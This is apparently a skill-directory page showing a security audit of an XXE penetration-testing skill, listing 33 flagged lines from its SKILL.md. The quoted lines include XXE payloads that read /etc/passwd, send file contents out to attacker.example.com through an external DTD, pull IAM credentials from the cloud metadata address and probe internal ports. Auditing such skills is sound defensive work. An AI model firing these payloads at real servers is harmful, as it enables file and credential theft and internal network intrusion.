Skip to main content

testing-for-xxe-injection-vulnerabilities

Enables security professionals to discover and exploit XML External Entity injection vulnerabilities during penetration tests.

Install this skill

or
0/100

Security score

The testing-for-xxe-injection-vulnerabilities skill was audited on Jun 5, 2026 and we found 33 security issues across 2 threat categories, including 1 critical. Review the findings below before installing.

Categories Tested

Security Issues

high line 90

Access to /etc/passwd

SourceSKILL.md
90# Basic XXE payload to read /etc/passwd
high line 95

Access to /etc/passwd

SourceSKILL.md
95<!ENTITY xxe SYSTEM "file:///etc/passwd">
high line 204

Access to /etc/passwd

SourceSKILL.md
204<!ENTITY % file SYSTEM "file:///etc/passwd">
high line 223

Access to /etc/passwd

SourceSKILL.md
223<!ENTITY xxe SYSTEM "file:///etc/passwd">
critical line 313

Access to /etc/passwd

SourceSKILL.md
313A SOAP web service processes XML input without disabling external entities. Injecting a DTD with a SYSTEM entity in the SOAP body reads `/etc/passwd` and returns it in the SOAP response.
high line 336

Access to /etc/passwd

SourceSKILL.md
3362. Include DTD with external entity: <!ENTITY xxe SYSTEM "file:///etc/passwd">
high line 341

Access to /etc/passwd

SourceSKILL.md
341- Local file read: /etc/passwd, /etc/hostname, application config files
high line 348

Access to /etc/passwd

SourceSKILL.md
348| /etc/passwd | 42 user accounts, service accounts identified |
low line 65

External URL reference

SourceSKILL.md
65"https://target.example.com/api/search"
low line 71

External URL reference

SourceSKILL.md
71"https://target.example.com/api/search"
low line 81

External URL reference

SourceSKILL.md
81-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \
low line 82

External URL reference

SourceSKILL.md
82"https://target.example.com/ws/service"
low line 98

External URL reference

SourceSKILL.md
98"https://target.example.com/api/search"
low line 108

External URL reference

SourceSKILL.md
108"https://target.example.com/api/search"
low line 118

External URL reference

SourceSKILL.md
118"https://target.example.com/api/search"
low line 128

External URL reference

SourceSKILL.md
128"https://target.example.com/api/search"
low line 144

External URL reference

SourceSKILL.md
144<!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
low line 147

External URL reference

SourceSKILL.md
147"https://target.example.com/api/search"
low line 156

External URL reference

SourceSKILL.md
156<!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
low line 159

External URL reference

SourceSKILL.md
159"https://target.example.com/api/search"
low line 166

External URL reference

SourceSKILL.md
166<!ENTITY % xxe SYSTEM "http://abc123.oast.fun/xxe-param">
low line 170

External URL reference

SourceSKILL.md
170"https://target.example.com/api/search"
low line 182

External URL reference

SourceSKILL.md
182<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example.com/?data=%file;'>">
low line 195

External URL reference

SourceSKILL.md
195<!ENTITY % dtd SYSTEM "http://attacker.example.com:8888/evil.dtd">
low line 199

External URL reference

SourceSKILL.md
199"https://target.example.com/api/search"
low line 225

External URL reference

SourceSKILL.md
225<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
low line 234

External URL reference

SourceSKILL.md
234"https://target.example.com/api/upload/avatar"
low line 260

External URL reference

SourceSKILL.md
260<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
low line 263

External URL reference

SourceSKILL.md
263"https://target.example.com/api/search"
low line 270

External URL reference

SourceSKILL.md
270-d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root><search>&xxe;</search></root>" \
low line 271

External URL reference

SourceSKILL.md
271"https://target.example.com/api/search" | head -c 100
low line 280

External URL reference

SourceSKILL.md
280<!ENTITY xxe SYSTEM "http://internal-admin.local:8080/admin">
low line 283

External URL reference

SourceSKILL.md
283"https://target.example.com/api/search"
Scanned on Jun 5, 2026
View Security Dashboard
Installation guide →
GitHub Stars 8
Rate this skill
Categorydevelopment
UpdatedJune 15, 2026
26zl/cybersec-toolkit